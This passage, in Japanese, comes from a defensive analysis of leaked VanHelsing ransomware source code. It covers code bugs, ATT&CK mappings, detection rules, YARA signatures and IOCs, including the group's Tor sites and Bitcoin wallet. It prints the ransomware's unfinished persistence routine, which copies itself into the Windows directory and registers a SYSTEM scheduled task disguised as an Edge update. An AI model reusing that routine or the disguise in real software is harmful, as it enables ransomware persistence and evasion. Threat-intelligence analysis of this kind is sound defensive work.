バグ: SystemParametersInfoWにNULLを渡している: SPI_SETDESKWALLPAPER の第3引数にはPNG/BMPファイルのパスを渡す必要があるが、NULL が渡されている。NULLを渡すと壁紙が削除され単色背景になる(Microsoftドキュメントによる)。レジストリには正しいパスが設定されているため、次回ログオン時には壁紙が表示されるが、即時の壁紙変更は失敗する。Check Pointの分析では壁紙変更を確認しているため、Check Pointが分析したバリアントではこのバグが修正されている可能性がある。

11.3 アイコン登録のバグ (common.cpp:515-583)

VOID UpdateVHIcon(WCHAR* iconPath)
{
    // ICOファイルをC:\Windows\Web\vhlocker.icoに書き出し
    // ...

    // .vanlocker 拡張子に対してアイコンを登録
    RegCreateKeyW(HKEY_LOCAL_MACHINE, REGISTERY_VH_ICON_PATH, &Handle);
    // REGISTERY_VH_ICON_PATH = "Software\\Classes\\.vanlocker\\DefaultIcon"
    // 実際の暗号化ファイル拡張子は .vanhelsing → アイコンが表示されない

    RegSetKeyValueW(Handle, NULL, NULL, REG_EXPAND_SZ,
                   (LPVOID)iconPath, lstrlenW(iconPath) * sizeof(wchar_t));

    // アイコンキャッシュの更新(2回実行 — 冗長)
    SystemParametersInfoW(SPI_SETICONS, 0, NULL, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    SendMessageTimeoutW(HWND_BROADCAST, WM_SETTINGCHANGE, ...);
    SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
    SystemParametersInfoW(SPI_SETICONS, 0, NULL, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    SendMessageTimeoutW(HWND_BROADCAST, WM_SETTINGCHANGE, ...);
    // 上記の5行が2回連続で実行されている(コピー&ペーストミス)
}

11.4 未有効化機能 — AddToStartup() (common.cpp:814-837)

/* not finished */   // 開発者のコメント

VOID AddToStartup()
{
    WCHAR CurrentPath[MAX_PATH];
    GetModuleFileNameW(NULL, CurrentPath, MAX_PATH);

    WCHAR WinDir[MAX_PATH], TargetPath[MAX_PATH];
    if (GetEnviornmentFolder(L"windir", WinDir) == TRUE) {
        // 自身を C:\Windows\WindowSecurityUpdates\windowsupdates.exe にコピー
        wsprintfW(TargetPath, L"%s%s", WinDir, L"\\WindowSecurityUpdates\\");
        CreateDirectoryW(TargetPath, NULL);
        wsprintfW(TargetPath, L"%s%s", WinDir,
                 L"\\WindowSecurityUpdates\\windowsupdates.exe ");
        CopyFileW(CurrentPath, TargetPath, FALSE);

        // schtasksで自動起動タスクを作成
        WCHAR Command[2500];
        wsprintfW(Command,
            L"schtasks /create /tn \"MicrosoftEdgeUpdateSecurityCores\" "
            L"/tr \"%s\" /sc onstart /ru \"SYSTEM\" /F", TargetPath);
        Exec(Command);
    }
}

OPSEC考察: タスク名 "MicrosoftEdgeUpdateSecurityCores" はMicrosoft Edgeの正規アップデートタスクに偽装。/ru "SYSTEM" でSYSTEM権限で実行。/sc onstart でシステム起動時に自動実行。/* not finished */ コメントから開発途中で放棄されたことがわかる。

参考文献

[40] common.cpp:46-98, 490-644, 814-842


12. 検知・ハンティングポイント(MITRE ATT&CK対応)

12.1 MITRE ATT&CK マッピング

ID テクニック VanHelsingの実装 検知データソース
T1486 Data Encrypted for Impact XChaCha20-Poly1305暗号化 Sysmon 2/11/23, EDR
T1490 Inhibit System Recovery WMI+WMIC.exeシャドウコピー削除 Sysmon 1, Security 4688
T1489 Service Stop SCM APIで184サービス停止 Security 7036, Sysmon 1
T1562.001 Disable or Modify Tools セキュリティソフト停止 EDR, Security 7036
T1021.002 SMB/Windows Admin Shares SMB拡散 + PSExec Security 5145, Sysmon 1
T1569.002 Service Execution PSExecリモート実行 Security 7045, Sysmon 17/18
T1570 Lateral Tool Transfer vanlocker.exe配置 Security 5145
T1135 Network Share Discovery NetShareEnum() RPC監視
T1018 Remote System Discovery TCP 445ポートスキャン IDS/IPS, NetFlow
T1047 WMI Win32_ShadowCopyクエリ Sysmon 20/21
T1059.003 Windows Command Shell cmd.exe /c WMIC Sysmon 1
T1485 Data Destruction DeleteFileW(元ファイル) Sysmon 23
T1491.001 Internal Defacement 壁紙変更 Sysmon 13
T1112 Modify Registry アイコン・壁紙レジストリ Sysmon 13
T1057 Process Discovery CreateToolhelp32Snapshot ETW

12.2 確定的IOC(High Confidence)

IOC 検知方法
ミューテックス Global\VanHelsingLocker カーネルオブジェクト監視
ファイル ---key---*---endkey--- パターン YARA, ファイルコンテンツスキャン
%TEMP%\psexec.exe (716,176 bytes) ファイル作成監視
C:\Windows\Web\vhlocker.png/ico ファイル作成監視
Tor .onion URL vanhel* パターン ネットワーク/テキスト検索

12.3 Splunk Analytics Story 対応

検知ルール MITRE 必要データソース
Delete ShadowCopy With PowerShell T1490 PowerShell 4104
Deleting Shadow Copies T1490 Sysmon 1
Detect PsExec With accepteula Flag T1021.002 Sysmon 1 / Security 4688
Executable File Written in Administrative SMB Share T1021.002 Security 5145
Windows PUA Named Pipe T1559 Sysmon 17/18

12.4 推奨防御策

対策 効果 対象テクニック
AppLocker: %TEMP%からの実行ブロック PSExec展開防止 T1569.002
ネットワークセグメンテーション: SMB(445)制限 横展開防止 T1021.002
VSS保護: シャドウコピー削除の監視・阻止 復旧手段維持 T1490
イミュータブルバックアップ: Veeam Hardened Repository等 データ復旧確保 T1490, T1486
最小権限の原則: 管理者アカウントの制限 攻撃面縮小 全般

参考文献

[41] https://research.splunk.com/stories/vanhelsing_ransomware/ (Splunk)
[42] https://www.picussecurity.com/resource/multi-platform-vanhelsing-ransomware-raas-analysis (Picus)


13. 類似ランサムウェアとの比較

13.1 暗号化方式

ランサムウェア 対称暗号 非対称暗号 ライブラリ 部分暗号化
VanHelsing XChaCha20-Poly1305 Curve25519 seal libsodium 先頭20% (>1GB)
Cr1pt0r XChaCha20-Poly1305 Curve25519 seal libsodium なし
Babuk ChaCha20 Curve25519 独自実装 先頭部分
LockBit 3.0 ChaCha20 RSA-2048 独自実装 複数戦略
BlackCat ChaCha20 RSA Rust標準 サイズ依存

VanHelsingとCr1pt0rは同一のlibsodium APIパターンを使用するが、コード流用の直接的証拠はない。libsodiumのドキュメントに記載された推奨パターンに従った結果と考えられる[43]。

13.2 横展開手法

ランサムウェア 方式 スキャン範囲 並列性
VanHelsing PSExec(埋め込み) + SMB共有 /24固定 順次実行
LockBit 3.0 SMB + GPO + PSExec ドメイン列挙 高並列
Conti SMB + EternalBlue ARP/ICMP/TCP 多段階
BlackCat PsExec + WinRM + SSH カスタマイズ可能 設定可能

VanHelsingの横展開はPSExec依存で/24固定スキャンという最も基本的な実装。EternalBlueやGPO経由の拡散は未実装。

13.3 実装成熟度の比較

観点 VanHelsing 評価根拠
暗号化実装 4/5 libsodiumの正しい使用、AEAD、ファイルごとの鍵
横展開 2/5 /24固定、PSExec依存、vCenter未実装
検知回避 2/5 SilentMode以外なし、難読化なし、PDB残存
コード品質 2/5 メモリリーク多数、コピペミス、未初期化変数
設定柔軟性 4/5 20フラグ、詳細な動作制御

参考文献

[43] https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html (RE Solver, 2019)


14. IOC・検出シグネチャ

14.1 ファイルハッシュ

種別 ハッシュ 出典
SHA-1 (Primary) 79106dd259ba5343202c2f669a0a61b10adfadff Check Point
SHA-1 (Variant) e683bfaeb1a695ff9ef1759cf1944fa3bb3b6948 Check Point
SHA-1 (Loader) 4211cec2f905b9c94674a326581e4a5ae0599df9 Check Point
SHA-256 86d812544f8e250f1b52a4372aaab87565928d364471d115d669a8cc7ec50e17 CYFIRMA

14.2 ファイルIOC

インジケータ 説明
*.vanhelsing 暗号化ファイル拡張子
README.txt ランサムノート(各ディレクトリ)
%TEMP%\psexec.exe PSExec展開先
C:\Windows\Web\vhlocker.png 壁紙画像
C:\Windows\Web\vhlocker.ico アイコン画像
\\*\*\vanlocker.exe SMB共有上のペイロード

14.3 ネットワークIOC

交渉用 Tor サイト:

vanhelcbxqt4tqie6fuevfng2bsdtxgc7xslo2yo7nitaacdfrlpxnqd.onion
vanhelqmjstkvlhrjwzgjzpq422iku6wlggiz5y5r3rmfdeiaj3ljaid.onion
vanhelsokskrlaacilyfmtuqqa5haikubsjaokw47f3pt3uoivh6cgad.onion
vanheltarnbfjhuvggbncniap56dscnzz5yf6yjmxqivqmb5r2gmllad.onion

ブログ用 Tor サイト:

vanhelvuuo4k3xsiq626zkqvp6kobc2abry5wowxqysibmqs5yjh4uqd.onion
vanhelwmbf2bwzw7gmseg36qqm4ekc5uuhqbsew4eihzcahyq7sukzad.onion
vanhelxjo52qr2ixcmtjayqqrcodkuh36n7uq7q7xj23ggotyr3y72yd.onion

Bitcoin ウォレット: bc1q0cuvj9eglxk43v9mqmyjzzh6m8qsvsanedwrru

14.4 ホストIOC

タイプ
ミューテックス Global\VanHelsingLocker
レジストリ HKLM\Software\Classes\.vanlocker\DefaultIcon
レジストリ HKCU\Control Panel\Desktop\WallPapervhlocker.png
スケジュールタスク(未有効化) MicrosoftEdgeUpdateSecurityCores

14.5 YARAルール

rule VanHelsing_Locker_Encrypted_File {
    meta:
        description = "Detects VanHelsing encrypted files by header pattern"
        author = "VanHelsing Source Code Analysis"
    strings:
        $key_header = "---key---" ascii
        $key_footer = "---endkey---" ascii
    condition:
        $key_header at 0 and $key_footer in (0..512)
}

rule VanHelsing_Locker_Ransom_Note {
    meta:
        description = "Detects VanHelsing ransom note"
    strings:
        $s1 = "No news is a good news" ascii
        $s2 = "vanhelcbxqt4tqie6fuevfng2bsdtxgc7xslo2yo7nitaacdfrlpxnqd" ascii
        $s3 = "TICKET ID" ascii
    condition:
        2 of them
}

14.6 AV検出名

ベンダー 検出名
Check Point Ransomware.Win.FilesMovedOrOverwrites.A
Check Point Trojan.Win.Krap.gl.D
Check Point Trojan.Wins.Imphash.taim.XT

参考文献

[44] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[45] https://www.cyfirma.com/research/vanhelsing-ransomware/ (CYFIRMA, 2025-03-16)